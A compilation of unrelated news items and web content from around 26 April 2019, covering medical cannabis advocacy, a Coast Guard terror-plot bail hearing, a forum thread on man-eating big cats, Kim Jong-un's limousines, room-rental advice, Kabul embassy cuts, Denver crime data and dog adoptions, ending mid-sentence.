Todays episode (26 April) of This Morning saw chronic pain sufferer Carly Barton discuss the medical benefits of cannabis. To the surprise of hosts Ruth Langsford and Eamonn Holmes, she revealed that she had actually used some before she going on air, before explaining that she has started growing her own when it proved too dangerous to get it elsewhere. It wasnt great, the 32-year-old told hosts Ruth Langsford and Eamonn Holmes when they asked how she got hold of the substance initially. I have trusted people now. At first, I was going out on two walking sticks in the middle of the night in dark car parks and putting myself at risk. Read more: Fired Emmerdale star Shila Iqbal offers explanation for racist and homophobic tweets At the moment were failing those patients, she added. That is their only option is to put their lives at risk. Barton, who has fibromyalgia, explained that the police are aware of her actions, but said that they responded to her confession by saying they didnt know what to do about the situation. She was the first person in the UK to be prescribed medical marijuana when she urged doctors to acknowledge the fact that her burning, searing pain wasnt being eased by the morphine and fentanyl she was taking at the time. Not only was the medicine not working as well as shed hoped, it also set her back a hefty 1,400. Explaining why cannabis is often more effective than even the strongest of opioids, Barton said: Opiates try and mask pain, its trying to push down my central nervous system. Cannabis is very different. After spending 1400 a month on a private prescription for cannabis to ease her chronic fibromyalgia pain, Carly Barton is proposing an amnesty which would allow those with a medical condition to register to grow their own. pic.twitter.com/29lrxlJBWU This Morning (@thismorning) April 26, 2019 You have receptors all round your body. They promote homeostasis. Anything slightly out of whack in your body it balances. With me, the cannabis goes straight to those receptors and calms down the pain so it doesnt kick off. Story continues Read more: Barbara Windsors husband on why they chose to make her dementia diagnosis public Shes now pushing for amnesty legislation to be passed that allows chronic pain sufferers to grow their own cannabis from home so long as they provide solid medical evidence before being put on an official register. We cant sit in a situation and watch people suffer every day and not do something about it, Barton urged. Im proposing people grow under the nine plant limit. That means under sentencing you would be charged with personal use rather than intent to supply. BAGHDAD (AP) A U.S. military spokesman says an Iraqi service member has been killed and two others wounded by coalition forces during an operation against Islamic State militants in the country's north. Army Col. James Rawlinson says the friendly fire incident Friday near al-Dib is under investigation. Iraq's Ministry of Defense said in a statement it was opening its own investigation into casualties caused by a coalition airstrike in Kirkuk province. A Coast Guard lieutenant accused of being a domestic terrorist can be released before his trial on gun and drug charges, a federal judge said Thursday. A federal magistrate did not order Christopher Hasson be immediately released from custody, but gave the defense attorney a few days to propose conditions such as home confinement. Authorities arrested Hasson in February after he allegedly created a hit list of prominent Democrats and network TV journalists and stockpiled weapons. The self-described white nationalist has not been charged with any terrorism-related offenses, said U.S. Magistrate Judge Charles Day, although Hasson previously drafted an email saying he was dreaming of a way to kill almost every last person on the earth," according to court filings. Arrest: Coast Guard officer, self-described white nationalist, planned terror attack to 'kill almost every last person,' feds say Offenses: Coast Guard officer indicted on gun and drug charges; prosecutors say terror was his aim Marcia Murphy, a spokeswoman for U.S. Attorney Robert Hurs office, said prosecutors would oppose any conditions of release for Hasson. Day said he still has grave concerns about Hasson, who prosecutors said used his government computer to research the Virginia Tech gunman and the Unabomber. Hasson will be supervised before his release, Day said. Defense attorney Liz Oyer said Hasson has not made direct or specific threats to harm anyone. She said prosecutors are seeking to punish him for "private thoughts." Weapons seized at the Silver Spring, Maryland, home of US Coast Guard officer Christopher Paul Hasson. He espoused white supremacist views and drafted a target list of Democratic politicians and prominent media figures and was arrested on firearms and drug charges on Feb. 15, 2019. They have not come forward with evidence that Mr. Hasson is a domestic terrorist because he is not, she told Day. In court filings, prosecutors said Hasson intends to murder innocent civilians on a scale rarely seen in this country. Assistant U.S. Attorney Thomas Windom said prosecutors had presented clear and convincing evidence that Hasson threatens public safety. Story continues The dots were connected directly by the defendant with his own writings, Windom said. Day said he may order home confinement with electronic monitoring for Hasson and restrict his access to firearms and computers. An opioid painkiller called Tramadol, more than 1,000 rounds of ammunition and 15 guns were found at Hassons basement apartment in Silver Spring, Maryland. Oyer said Hasson has had a lifelong interest in firearms and likes to hunt and target practice. Hasson pleaded not guilty last month to charges of illegal possession of firearm silencers, possession of firearms by a drug addict and unlawful user, and possession of a controlled substance. He faces a maximum of 31 years in prison if convicted of all four counts in his indictment. Contributing: The Associated Press This article originally appeared on USA TODAY: Coast Guard officer accused in terror plot to 'kill almost every last person' may be released pending trial DENVER A group of undergrad students is developing a magnetic shield to defend interplanetary astronauts from the intense cosmic radiation between Earth and Mars. The students, from Drake University in Iowa, presented their project in the poster session Saturday (April 13) at the April meeting of the American Physical Society. Their MISSFIT (Magneto-Ionization Spacecraft Shield for Interplanetary Travel) design uses a powerful magnetic shield that, like Earth's magnetosphere, protects the planet from high-energy particles. The defense system also incorporates "passive" shielding to mimic the ionosphere Earth's second layer of defense. [When Space Attacks: The 6 Craziest Meteor Impacts] With help from a small NASA grant through the Iowa Space Grant Consortium, experiments are already underway on the passive shielding, which could protect astronauts from high-energy gamma-rays that a magnetic shield cant stop. The hope, said Lorien MacEnulty, a junior at Drake and a member of the team, is to solve a key safety problem that's delayed an eventual NASA mission to Mars: long-term exposure to interplanetary radiation. Right now, the students are experimenting with a number of radiation-blocking fabrics that might be light enough to mount on a spacecraft. "We expose [the fabrics] to radiation," MacEnulty told Live Science. "Then we count how many particles make it through the layers of fabric." A long process of data collection, and statistical analysis, will help determine which fabrics might make most sense to coat the spacecraft with, said Doug Drake, a junior at Drake University who works on experiments and coding simulations of particle trajectories. But the fabrics aren't the whole story. The students assume that NASA's eventual Mars-bound spacecraft will be more or less a long cylinder, rotating to generate artificial gravity, MacEnulty said "At the ends of that capsule we'd have two superconducting magnets, powered by nuclear reactors," she said. Story continues Those magnets wouldn't divert gamma-rays. But they would cause charged alpha particles another component of cosmic rays that could strike the spacecraft and emit X-rays to move toward the ends of the spacecraft, which would be capped by two bubbles of material filled with a mixture of ionized gas that mimics Earth's ionosphere. As the alpha particles zoom through this ionized gas, they would lose energy in a process similar to the one that produces auroras in the ionosphere near Earth's own North and South Poles. A schematic of the MISSFIT team's nuclear-powered magnetic shield design. D. Atri-Schuller, S. Cusick, K. Finger, T. Johnson, A. Lyon, L. MacEnulty, D. Madison, M. McCord, G. Menning, A. Petridis (Mentor), M. Schnurr, W. Thomas The students don't yet know how powerful these magnets would have to be. But the team thinks they could be powered with nuclear reactors that would fit on a spacecraft. Within the next one or two years, MacEnulty said, the group hopes to get its first paper published, and down the road to drive more funding toward their work. "This is going to be a multiyear project," she said. "We're only undergraduates, and we're doing this by ourselves [with the oversight of Drake professor and physicist Athanasios Petridis]." Originally published on Live Science. Username: Password: or Register Back to Forum Reply to This post Post New Thread Thread Rating: 1 Vote(s) - 5 Average 1 2 3 4 5 The Man Eating Leopard of Rudraprayag silversides The bare necessities of life User ID: 148291 04-26-2019 02:01 PM Posts: 32,437 Post: #1 The Man Eating Leopard of Rudraprayag Advertisement They were first made into lion rugs. They reformed into mounted lions. We have them in our museum. Here in Chicago. --------------------------------- The Leopard of Rudaprayag, Champawat tiger and Tsavo man-eaters https://www.youtube.com/watch?v=Rb-DSFoh7zk The History Guy recalls some of the deadliest man-eaters in history including the leopard of Rudaprayag, the Champawat tiger and the Tsavo man-eaters. The History Guy uses media that are in the public domain. As photographs of actual events are sometimes not available, photographs of similar objects and events are used for illustration. The episode includes historical photos of game hunting and wild animals that may be disturbing to some viewers. No graphic violence is depicted. --------------------------- Tsavo Lions Were bad teeth to blame for these man-eaters taste for humans? Tucked within an arresting collection of taxidermied mammals of Africa in the Rice Gallery, the man-eating lions of Tsavo are two of the Field Museums most famous residentsand also the most infamous. In March 1898, the British started building a railway bridge over the Tsavo (SAH-vo) River in Kenya. But the project took a deadly turn when, over the next nine months, two maneless male lions mysteriously developed a taste for humans and went on a killing spree. The rise and fall of the Tsavo lions Crews tried and failed to scare the lions away, forcing people to flee the area and halting construction on the bridge. Lt. Col. John Henry Patterson, the civil engineer at the helm of the railway project, took matters into his own hands so that work could continue on the railway. The lions reign of terror ended when Colonel Patterson (no relation to our current MacArthur Curator of Mammals Bruce Patterson) shot and killed them in late 1898, and the railroad was completed a few months later. He later told the story of the lions, and the hunt that eventually took them down, in his book The Man-Eaters of Tsavo and Other East African Adventures. Patterson reported that the lions feeding frenzy took the lives of 135 railway workers and native Africans. Later research by Field Museum scientists drastically reduced that estimate to 35 (which is still disconcerting!). https://www.fieldmuseum.org/blog/tsavo-lions --------------------------- The Tsavo Man-Eaters were a pair of man-eating lions in the Tsavo region, which were responsible for the deaths of a number of construction workers on the Kenya-Uganda Railway between March and December 1898. The significance of this lion pair was their unusual behavior of killing men and the manner of their attacks. https://en.wikipedia.org/wiki/Tsavo_Man-Eaters --------------------------- The Leopard of Rudraprayag was a male man-eating leopard, reputed to have killed over 125 people. It was eventually killed by hunter and author Jim Corbett. https://en.wikipedia.org/wiki/Leopard_of_Rudraprayag Mele Kalikimaka I have seen The Tsavo Lions or what is left of them.They were first made into lion rugs.They reformed into mounted lions.We have them in our museum.Here in Chicago.---------------------------------The Leopard of Rudaprayag, Champawat tiger and Tsavo man-eatersThe History Guy recalls some of the deadliest man-eaters in history including the leopard of Rudaprayag, the Champawat tiger and the Tsavo man-eaters.The History Guy uses media that are in the public domain. As photographs of actual events are sometimes not available, photographs of similar objects and events are used for illustration.The episode includes historical photos of game hunting and wild animals that may be disturbing to some viewers. No graphic violence is depicted.---------------------------Tsavo LionsWere bad teeth to blame for these man-eaters taste for humans?Tucked within an arresting collection of taxidermied mammals of Africa in the Rice Gallery, the man-eating lions of Tsavo are two of the Field Museums most famous residentsand also the most infamous.In March 1898, the British started building a railway bridge over the Tsavo (SAH-vo) River in Kenya. But the project took a deadly turn when, over the next nine months, two maneless male lions mysteriously developed a taste for humans and went on a killing spree.The rise and fall of the Tsavo lionsCrews tried and failed to scare the lions away, forcing people to flee the area and halting construction on the bridge. Lt. Col. John Henry Patterson, the civil engineer at the helm of the railway project, took matters into his own hands so that work could continue on the railway.The lions reign of terror ended when Colonel Patterson (no relation to our current MacArthur Curator of Mammals Bruce Patterson) shot and killed them in late 1898, and the railroad was completed a few months later.He later told the story of the lions, and the hunt that eventually took them down, in his book The Man-Eaters of Tsavo and Other East African Adventures. Patterson reported that the lions feeding frenzy took the lives of 135 railway workers and native Africans. Later research by Field Museum scientists drastically reduced that estimate to 35 (which is still disconcerting!).---------------------------The Tsavo Man-Eaters were a pair of man-eating lions in the Tsavo region, which were responsible for the deaths of a number of construction workers on the Kenya-Uganda Railway between March and December 1898. The significance of this lion pair was their unusual behavior of killing men and the manner of their attacks.---------------------------The Leopard of Rudraprayag was a male man-eating leopard, reputed to have killed over 125 people. It was eventually killed by hunter and author Jim Corbett. Lakeofmarch ~Fiat iustitia, adveniat regnum Apolyon~ User ID: 496245 04-26-2019 04:33 PM Posts: 19,632 Post: #2 RE: The Man Eating Leopard of Rudraprayag --- A leopard, in an area in which his natural food is scarce, finding these bodies very soon acquires a taste for human flesh, and when the disease dies down and normal conditions are established, he very naturally, on finding his food supply cut off, takes to killing human beings. Of the two man-eating leopards of Kumaon, which between them killed over five hundred and twenty-five human beings, one followed on the heels of a very severe outbreak of cholera, while the other followed the mysterious disease which swept through India in 1918 and was called war fever. --- Now doesn't that give new meaning to 'beasts of darkness'.. they get used to easy pickings. From the Wiki article above:---A leopard, in an area in which his natural food is scarce, finding these bodies very soon acquires a taste for human flesh, and when the disease dies down and normal conditions are established, he very naturally, on finding his food supply cut off, takes to killing human beings. Of the two man-eating leopards of Kumaon, which between them killed over five hundred and twenty-five human beings, one followed on the heels of a very severe outbreak of cholera, while the other followed the mysterious disease which swept through India in 1918 and was called war fever.---Now doesn't that give new meaning to 'beasts of darkness'.. they get used to easy pickings. terebess.hu/english/tao/wu.html - Snow Crash, Eagle's Gift, Opus '73 - secretsun.blogspot.com Son Calenda/Fudo Myoo - Axte Incal, Axtuce Mun - het-report.nl http://www.sirbacon.org/dick.htm absolutoracle.com -NO8DO- Dao is universal like a flood. How can it be turned?terebess.hu/english/tao/wu.html - Snow Crash, Eagle's Gift, Opus '73 - secretsun.blogspot.comSon Calenda/Fudo Myoo - Axte Incal, Axtuce Mun - het-report.nlabsolutoracle.com-NO8DO- LoP Guest lop guest User ID: 498617 04-26-2019 05:34 PM Post: #3 RE: The Man Eating Leopard of Rudraprayag silversides Wrote: (04-26-2019 02:01 PM) I have seen The Tsavo Lions or what is left of them. They were first made into lion rugs. They reformed into mounted lions. We have them in our museum. Here in Chicago. --------------------------------- The Leopard of Rudaprayag, Champawat tiger and Tsavo man-eaters https://www.youtube.com/watch?v=Rb-DSFoh7zk The History Guy recalls some of the deadliest man-eaters in history including the leopard of Rudaprayag, the Champawat tiger and the Tsavo man-eaters. The History Guy uses media that are in the public domain. As photographs of actual events are sometimes not available, photographs of similar objects and events are used for illustration. The episode includes historical photos of game hunting and wild animals that may be disturbing to some viewers. No graphic violence is depicted. --------------------------- Tsavo Lions Were bad teeth to blame for these man-eaters taste for humans? link to image: https://www.fieldmuseum.org/sites/defaul...k=MipogUmZ Tucked within an arresting collection of taxidermied mammals of Africa in the Rice Gallery, the man-eating lions of Tsavo are two of the Field Museums most famous residentsand also the most infamous. In March 1898, the British started building a railway bridge over the Tsavo (SAH-vo) River in Kenya. But the project took a deadly turn when, over the next nine months, two maneless male lions mysteriously developed a taste for humans and went on a killing spree. The rise and fall of the Tsavo lions Crews tried and failed to scare the lions away, forcing people to flee the area and halting construction on the bridge. Lt. Col. John Henry Patterson, the civil engineer at the helm of the railway project, took matters into his own hands so that work could continue on the railway. The lions reign of terror ended when Colonel Patterson (no relation to our current MacArthur Curator of Mammals Bruce Patterson) shot and killed them in late 1898, and the railroad was completed a few months later. He later told the story of the lions, and the hunt that eventually took them down, in his book The Man-Eaters of Tsavo and Other East African Adventures. Patterson reported that the lions feeding frenzy took the lives of 135 railway workers and native Africans. Later research by Field Museum scientists drastically reduced that estimate to 35 (which is still disconcerting!). https://www.fieldmuseum.org/blog/tsavo-lions --------------------------- The Tsavo Man-Eaters were a pair of man-eating lions in the Tsavo region, which were responsible for the deaths of a number of construction workers on the Kenya-Uganda Railway between March and December 1898. The significance of this lion pair was their unusual behavior of killing men and the manner of their attacks. https://en.wikipedia.org/wiki/Tsavo_Man-Eaters --------------------------- The Leopard of Rudraprayag was a male man-eating leopard, reputed to have killed over 125 people. It was eventually killed by hunter and author Jim Corbett. https://en.wikipedia.org/wiki/Leopard_of_Rudraprayag Neat. I know and the ghosts in the darkness, but not this leopard. Therr have been several man eating tigers allegedly. Neat. I know and the ghosts in the darkness, but not this leopard. Therr have been several man eating tigers allegedly. silversides The bare necessities of life User ID: 148291 04-26-2019 06:33 PM Posts: 32,437 Post: #4 RE: The Man Eating Leopard of Rudraprayag LoP Guest Wrote: (04-26-2019 05:34 PM) Neat. I know and the ghosts in the darkness, but not this leopard. Therr have been several man eating tigers allegedly. Safety is important, but democracy and Liberty is tops. Safety is important, but democracy and Liberty is tops. Mele Kalikimaka Back to Forum Reply to This post Post New Thread Washington (AFP) - The US government commission on religious freedom on Friday urged action against ally Saudi Arabia after its mass execution of 37 people, most of them Shiite Muslims. The US Commission on International Religious Freedom, whose members are appointed by the president and lawmakers across party lines but whose role is advisory, said the State Department "must stop giving a free pass" to Saudi Arabia. The State Department, in a congressionally mandated annual report, classifies Saudi Arabia among its "countries of particular concern" for violations of religious freedom, which would normally require the United States to take punitive actions such as imposing economic sanctions. But successive secretaries of state have each year issued waivers on punishing Saudi Arabia, citing national security interests. "The Saudi government's execution of minority Shia Muslims on the basis of their religious identity and peaceful activism is not only shocking, but also directly contradicts the government's official narrative of working toward greater modernization and improving religious freedom conditions," the commission's chair, Tenzin Dorjee, said in a statement as the commission urged an end to the waivers. Saudi Arabia practices a puritanical Wahabi ideology, with the latest State Department report on religious freedom pointing to a "pattern of societal prejudice and discrimination" against the Shiite minority and a ban on the practice of any faith besides Islam. Human rights groups say that nearly all of the Saudi citizens beheaded on Tuesday were Shiite, with one crucified after death. The UN human rights chief said that at least three were minors when charged. President Donald Trump has vowed to preserve a close relationship with Saudi Arabia, pointing to its major purchases of US weapons, its giant oil exports and its hostility toward US rival Iran. Trump has not commented on the executions, although the State Department said it urged "Saudi Arabia and all governments" to respect freedom of religion. Photo: Stage 7 Photography/Unsplash Looking to get out into the community this weekend? From a speech on facist-era architecture to a charity spin class, there's plenty to do when it comes to community and cultural events coming up in New York City. Read on for a rundown. Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. Mia Fuller: The Metafisica Solution From the event description: The Center for Italian Modern Art will welcome Professor Mia Fuller to present her keynote on "The Metafisica Solution: How to Discuss Fascist-Era Architecture Without Controversy." When: Friday, April 26, 6-7:30 p.m. Where: Center for Italian Modern Art, 421 Broome St., Floor 4 Admission: Free-$10 Click here for more details, and to get your tickets Post-Hurricane Maria: El Pueblo Unido, Will Never be Defeated From the event description: The Coalition of Latinx Scholars (CLS) presents "Post-Hurricane Maria: El Pueblo Unido, Will Never Be Defeated," which will center and spotlight Puerto Rican scholars and activists who will be sharing their unique experiences while working in Puerto Rico and discussing the challenges and the work that is still needed as the community works to rebuild post-Maria. A reception to follow. When: Friday, April 26, 6:30-9 p.m. Where: Grade Dodge 177/179, 525 W. 120th St. Admission: Free Click here for more details, and to get your tickets Jumpstart Charity Ride for Literacy From the event description: For 25 years, Jumpstart has trained more than 50,000 college students and community volunteers, and helped over 123,000 preschool children catch up in the education race. In support of Jumpstart, please race with us at Swerve on Saturday. There will be a 45-minute ride and a 30-minute reception with a smoothie of your choice, and the possibility to win tickets to the "The Late Show with Stephen Colbert." When: Saturday, April 27, 12:30-1:30 p.m. Where: Swerve Fitness Midtown, 21 W. 46th St. Admission: $54 Click here for more details, and to get your tickets This story was created automatically using local event data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Kim had two of the limousines waiting for him on arrival in Russia (AP) A German car manufacturer that makes armoured limousines used by Kim Jong-un says it has no business dealings with North Korea. Daimler says it has no idea how the hermit state leader got hold of the stretch limousines that he was pictured in during his visit to Russia this week. Kim is often seen attending high profile events in the limousines, including his two previous summits with Donald Trump in Vietnam in February and last year. Kim Jong-un's limousine arrives for a wreath-laying ceremony in Vladivostok, Russia on Friday (AP) The cars are banned under UN sanctions aimed at the denuclearisation of the North Korean peninsular. However, Kim had a Mercedes Maybach S600 Pullman Guard and a Mercedes Maybach S62 waiting for him as he arrived at Vladivostok Station. The North Korean leader has been in Russia this week for talks with President Vladimir Putin. Daimler spokeswoman Silke Mockert said: We have absolutely no idea how those vehicles were delivered to North Korea Daimler said it has 'no control and responsibility' over the sale of its cars by third party sellers (AP) For Daimler, the correct export of products in conformance with the law is a fundamental principle of responsible entrepreneurial activity. Daimler sells goods and services to almost every country in the world - but North Korea is not an official customer. Read more: North Korea executed four officials after failed U.S. summit in Hanoi, report claims Vladimir Putin lends support to Kim Jong-un for ending nuclear standoff as pair meet for first summit North Korea test-fires new type of 'tactical guided weapon' Ms Mockert continued: Our company has had no business connections with North Korea for far more than 15 years now and strictly complies with EU and US embargoes. To prevent deliveries to North Korea and to any of its embassies worldwide, Daimler has implemented a comprehensive export-control process. Kim has been spotted in various Mercedes Pullman limousines when attending high profile events (GETTY) Sales of vehicles by third parties, especially of used vehicles, are beyond our control and responsibility. According to the company, the Mercedes-Benz Pullman limousines offer passengers a superbly appointed setting for discreet meetings. The description of the car says occupants can remain fully in touch with the rest of the world while enjoying the luxury and comfort of their own very special place in it. Attractive stocks have exceptional fundamentals. In the case of Chevron Corporation (NYSE:CVX), there's is a well-regarded dividend-paying company that has been able to sustain great financial health over the past. Below is a brief commentary on these key aspects. If you're interested in understanding beyond my broad commentary, take a look at the report on Chevron here. 6 star dividend payer with adequate balance sheet CVX is financially robust, with ample cash on hand and short-term investments to meet upcoming liabilities. This implies that CVX manages its cash and cost levels well, which is a crucial insight into the health of the company. CVX's has produced operating cash levels of 0.89x total debt over the past year, which implies that CVX's management has put its borrowings into good use by generating enough cash to cover a sufficient portion of borrowings. NYSE:CVX Historical Debt, April 26th 2019 Income investors would also be happy to know that CVX is one of the highest dividend payers in the market, with current dividend yield standing at 4.0%. CVX has also been regularly increasing its dividend payments to shareholders over the past decade. NYSE:CVX Historical Dividend Yield, April 26th 2019 Next Steps: For Chevron, there are three key aspects you should further examine: Future Outlook: What are well-informed industry analysts predicting for CVXs future growth? Take a look at our free research report of analyst consensus for CVXs outlook. Historical Performance: What has CVX's returns been like over the past? Go into more detail in the past track record analysis and take a look at the free visual representations of our analysis for more clarity. Other Attractive Alternatives : Are there other well-rounded stocks you could be holding instead of CVX? Explore our interactive list of stocks with large potential to get an idea of what else is out there you may be missing! We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. Renting out a room in your own home to a stranger might cause your friends or family members to raise an eyebrow. However, it's a commonplace practice, especially in expensive cities where people become de facto roommates when apartment dwellers sublet a room. Plus, many homeowners have embraced the idea of renting out spare rooms on a short-term basis to strangers through popular peer-to-peer home-sharing rental platforms such as Airbnb and HomeAway. But if you're used to living alone or with only family in your house, taking in a tenant can be an adjustment. So if you're going to make the leap from living on your own to being a landlord, keep the following considerations when renting out a room in mind: -- Understand the laws in your area. -- Treat prospective tenants as strangers, not friends. -- Consider getting a background check before you invite a tenant into your home. -- Interview the tenant thoroughly. -- Write up a contract. -- Have an exit strategy if things don't work out. Read on to learn more about the caveats and precautions to consider before renting a spare room in your own home. [See: The Best Places to Live in the U.S. for Young Professionals.] Understand the Laws in Your Area Every state is different in how they govern landlord-tenant laws. But regardless of the state you live in, you probably aren't legally allowed to enter your tenant's bedroom without giving 24 hours' notice, meaning that if you enter the room without permission or warning, you could find yourself in legal hot water. Plus, you may be held responsible if you, say, barge in and break something of your tenant's. Treat Prospective Tenants as Strangers, Not Friends Tell your tenant about your home, but carefully consider what you say about yourself, especially in the beginning of the interviewing process. After all, you probably know nothing about this person, and you don't want to tell a future thief that you keep an extra key underneath the welcome mat, for example. Story continues Get a Background Check This small investment should give you a sense of whether this is a good match or a future nightmare. Some tools you might check out include MyRental.com, which offers an eviction history search tool for $7.99 or a prospective tenant's credit report for $14.99 or MySmartMove.com, which offers criminal background reports and national eviction reports for $25 to $40, depending on what you select. Another helpful resource is LeaseRunner.com, which offers national eviction reports for $12 and reports of the tenant's financial history of the last three months for $10. [See: The Best Apps for House Hunting.] Interview the Tenant It isn't enough for a tenant to look good on paper. "Tenant screening for live-ins is critical," says Glenn Carter, the chief editor of Condo.Capital, an Ottawa, Ontario-based digital content platform for condo buyers and real estate professionals. "I've heard so many horror stories of bad tenants making your life difficult by being messy, not respecting the space, being up all hours of the night and so on," Carter says. He also suggests walking the prospective tenant back to his or her car "to see how tidy they keep it" to get a sense if the tenant is neat. Set Written Guidelines Draw up a contract, suggests Elena Peters, a full-time blogger in Hamilton, Ontario, who runs a website, MakingMidLifeMatter.com, geared toward women. Peters has rented out two bedrooms in her home to two brothers from Jamaica for nearly 10 years. "They have most definitely become family to me and my sons, but honestly, I realize now that I was extremely lucky considering the fact that I did not fully research or understand how sharing our space with strangers would impact our lives," she says. The key points to include in a contract, Peters says, include the rent amount and when it is due, and any fees related to late penalties. You'll also want to touch on whether rent will increase yearly, and specify which space is the tenant's, along with common areas and rules for usage. You should highlight if there are any areas that are off-limits. Finally, you should spell out rules for parking and pets. The more you can think of to put in the contract, the better. And there is almost no limit to what you might put into the contract, according to Peters. For instance you might include: "If they have use of the appliances that you own, will they have to pitch in for replacements?" That may seem unreasonable but maybe not, if your tenants live there a long time. "Be very clear what is for common use and what is not," she adds. Have an Exit Strategy You and your tenant should have an idea of how long he or she will be living in your home. You also might want to ask for the last month's rent or a deposit upfront. Apartment complexes often do this; you could, too, in case your tenant one day decides to leave abruptly. Even if you don't think about the tenant-landlord relationship ending, you should at least consider how things will go if they don't go well, says Kinh Demaree, a startup consultant and real estate investor in Mountain View, California. She has been renting out rooms in her house for about 10 years, knowing from the start that she would have to have an exit strategy to be able to afford a mortgage in the San Francisco Bay area. Demaree has generally had good experiences, but she suggests that you think about what can go wrong. [Read: Why You Should (and Shouldn't) Opt for a Month-to-Month Lease.] "Think about what will happen if your tenant gets behind on rent, breaks one of your rules, brings drugs into the house, damages something and how you will handle it. It can be especially awkward if you have to evict someone while they're living in your home," she says. Even if you can't imagine what you would do in that scenario, it underscores the importance of screening your tenants. She also suggests that the tenant be required to have his or her own renter's insurance policy. "If there's a fire, natural disaster or injury and you have to file it on your insurance, then that could make your insurance premium increase at no fault of your own," she says. (This April 25 story has been refiled to restore dropped last line) By Jonathan Landay and Phil Stewart WASHINGTON (Reuters) - Secretary of State Mike Pompeo is accelerating a plan to cut up to half of the workforce at the U.S. embassy in Kabul starting at the end of next month, sparking concern it will undermine the fragile Afghan peace process, U.S. officials and congressional aides said. Pompeos order for the largest U.S. diplomatic mission comes about a year earlier than expected, a surprise development given the meagre progress in U.S. talks with Taliban militants on an agreement that would pave the way for a U.S. troop withdrawal and an end to America's longest war. The Taliban, their negotiating leverage bolstered by U.S. President Donald Trumps public impatience to end the war, could dig in further because they would regard a large embassy drawdown as more confirmation of his eagerness to reduce the U.S. role in Afghanistan. The Kabul embassy is a testament to the size of America's investment in Afghanistan since it went to war there in 2001 after the September 11 attacks. With a workforce of about 1,500, the heavily fortified compound underwent an $800 million expansion four years ago and now includes 700 beds for staff. One U.S. official said the reduction should be seen as part of a global redistribution of U.S. diplomats required by the Trump administration's national security strategy shift from emphasizing counter-terrorism to confronting renewed "great power" rivalry with Russia and China. But a drastic embassy workforce cut - which State Department officials briefed key congressional committees about last week in advance of a formal notification - will likely reverberate throughout Afghanistan. It could erode a strained U.S. relationship with Afghan President Ashraf Ghani's government a month after the allies publicly clashed over Kabul's exclusion from the negotiations with the Taliban in Doha, Qatar. Story continues Ghani "would see this as another step in a betrayal," said Thomas Lynch, a U.S. National Defence University fellow focussed on Afghanistan and former adviser to the U.S. military's Joint Chiefs of Staff. U.S. officials and congressional aides said that among the concerns about a major drawdown was the risk that it could alarm NATO allies, already at odds with Trump over a host of issues, and ordinary Afghans. A State Department spokeswoman said in an email when asked about the planned embassy cuts that the department "regularly reviews our presence at our overseas missions to reflect changing circumstances and our policy goals." Trump's priorities are "ending the war in Afghanistan through a sustainable peace settlement and focussing on counter terrorism," she said, adding that Washington will maintain "a robust" presence in Afghanistan. She did not explain why Pompeo moved up the embassy staff reduction plan. 'SHOCK AND STUPEFACTION' U.S. negotiator, Zalmay Khalilzad, has reported some progress toward an accord on a U.S. troop withdrawal and on how the Taliban would prevent extremists from using Afghanistan to launch attacks as al Qaeda did on Sept. 11, 2001. The insurgents, however, so far have rejected U.S. demands for a ceasefire and talks on the country's political future that would include Afghan government officials. News that Washington was examining a workforce cut in Kabul first was reported by National Public Radio in February. Foreign Policy magazine reported earlier this month that the State Department was preparing to reduce personnel by half in 2020. Now, the reduction "is starting as soon as May 31 and they want to have it done by September," said one congressional aide. Four other sources, including three U.S. officials, confirmed the plan to reduce the embassy staff by up to half. One said it would be achieved by not filling posts that regularly go vacant. Pompeo's order was not accompanied by a justification, such as cost-cutting, said a U.S. official and a congressional aide. "You have to have some parameters, some guidelines, and there werent any," said the U.S. official, adding that Pompeos directive triggered "shock and stupefaction" in the State Department when it was issued about two weeks ago. The congressional aide said that when asked to justify the drawdown in congressional briefings last week, State Department officials said, "Pompeo has asked them to do this." (Reporting by Jonathan Landay and Phil Stewart Additional reporting by Patricia Zengerle; Editing by Mary Milliken and Alistair Bell) Photo: iStock The number of crime reports in Denver saw an overall bump last month, after a previous decline, according to data from CrimeoMeter, which collects data from police agencies and validated sources. Incidents rose by about 8 percent, from 6,473 in February to 6,988 in March. This months increase in crime incidents puts the monthly total at about even with the same month a year ago. Crime levels tend to follow seasonal patterns, making a year-over-year comparison most relevant. The offenses most on the rise last month were auto burglary and theft. Auto burglary rose from 612 reported incidents in February to 697 in March, and has grown by 57 incidents since March of last year. Theft incidents went from 671 to 753 for the month, or about a 12 percent increase. Theft reports are also slightly up from a year ago. While somewhat smaller categories, there was also a considerable percentage increase last month in alcohol-related offenses, from 78 incidents per month to 117, and in rape or sexual assault, from 14 to 28. Both alcohol-related offenses and rape or sexual assault have decreased since the same month last year. There were 431 auto theft reports last month. Auto theft has remained at about the same level as in March of last year. Among the few types of offenses that saw a downturn last month, drug-related offenses went from 371 to 344. Prostitution incidents fell from 23 to 11, and fraud or financial crimes went down from 79 to 71. Drug-related offenses have seen an overall downward trend since the same time last year, while prostitution reports have gone up. Looking at crime patterns in different areas of the city, the largest increase last month occurred in Five Points, Dia and Central Business District. Southmoor Park, Indian Creek and the Skyland also saw considerable percentage increases in crime offenses for the month, although they continue to have lower overall crime levels. Over the past year, crime has gone up the most in Rosedale, and declined the most in Capitol Hill. Story continues Fridays, Saturdays and Tuesdays experienced the most reported crimes last month. The largest increase from the previous month occurred on Fridays, Saturdays and Sundays, while incidents on Wednesdays, Tuesdays and Thursdays went down. Comparing times of day, late afternoon, early afternoon and late morning continue to see the most crime incidents on average each day. To report a crime in progress or life-threatening emergency, call 911. To report a non-urgent crime or complaint, contact your local police department. Head to CrimeoMeter to get free local crime alerts in your area. This story was created automatically using local crime data, then reviewed by an editor. Click here for more about our data sources and local crime methodology. Got thoughts about what we're doing? Go here to share your feedback. Photos: Petfinder Looking to add a new companion to the family? There are dozens of lovable pups up for adoption at animal shelters in and around Atlanta, so you won't have to look far to find the perfect fit. Hoodline used data from Petfinder to power this roundup of dogs currently available for adoption near you. Read on to meet some friendly, furry locals. Opie, Shih Tzu and mixed breed mix Opie is a male Shih Tzu and mixed breed mix being kept at Atlanta Humane Society. His vaccinations aren't up to date quite yet, but he's been neutered. He has work to do on house training etiquette. There's no information on 